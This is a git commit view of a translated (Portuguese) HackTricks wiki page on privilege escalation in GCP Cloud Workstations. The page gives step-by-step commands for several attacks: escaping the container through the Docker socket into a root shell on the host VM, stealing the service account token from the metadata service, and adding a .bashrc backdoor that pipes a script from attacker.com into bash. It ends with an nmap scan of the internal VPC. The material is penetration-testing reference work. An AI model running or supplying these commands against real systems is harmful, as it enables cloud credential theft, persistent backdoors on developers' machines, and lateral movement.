mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+96
@@ -0,0 +1,96 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
O principal caminho de escalada de privilégios em Cloud Workstations decorre da necessidade de suportar workflows **Docker-in-Docker (DinD)** para desenvolvedores. Quando a configuração da workstation monta o Docker socket ou permite privileged containers (uma configuração comum), um atacante dentro do workstation container pode escapar para a Compute Engine VM subjacente e roubar seu service account token.
|
||||
|
||||
**Pré-requisitos:**
|
||||
- Acesso a um terminal do Cloud Workstation (via SSH, sessão comprometida ou credenciais roubadas)
|
||||
- A configuração da workstation deve montar `/var/run/docker.sock` ou habilitar privileged containers
|
||||
|
||||
**Contexto de arquitetura:** A workstation é um container (Layer 3) executando em um runtime Docker/Containerd (Layer 2) em uma GCE VM (Layer 1). O Docker socket dá acesso direto ao runtime de containers do host.
|
||||
|
||||
> [!NOTE]
|
||||
> A ferramenta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza o container escape completo e te coloca em um root shell na host VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 1: Verificar Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 2: Escapar para o sistema de arquivos da VM host</summary>
|
||||
|
||||
Iniciamos um container privilegiado, montando o diretório raiz do host em `/mnt/host`. Também compartilhamos a rede do host e o PID namespace para maximizar a visibilidade.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Você agora tem um **root shell na Compute Engine VM subjacente** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 3: Roubar o token da conta de serviço da VM do IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Verifique os escopos!**
|
||||
> Mesmo que o Service Account anexado seja **Editor**, a VM pode estar restrita por escopos de acesso.
|
||||
> Se você vir `https://www.googleapis.com/auth/cloud-platform`, você tem acesso total.
|
||||
> Se você vir apenas `logging.write` e `monitoring.write`, você está limitado aos vetores **Network Pivot** e **Persistence** abaixo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 4: Alcançar Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montam um disco persistente em `/home/user`. Como o container user (geralmente `user`, UID 1000) corresponde ao host user (UID 1000), você pode escrever no diretório home do host. Isso permite que você backdoor o ambiente mesmo se o workstation container for reconstruído.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Como você compartilha o namespace de rede do host (`--net=host`), você agora é um nó confiável na VPC. Você pode escanear serviços internos que permitem acesso com base em IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
Reference in New Issue
Block a user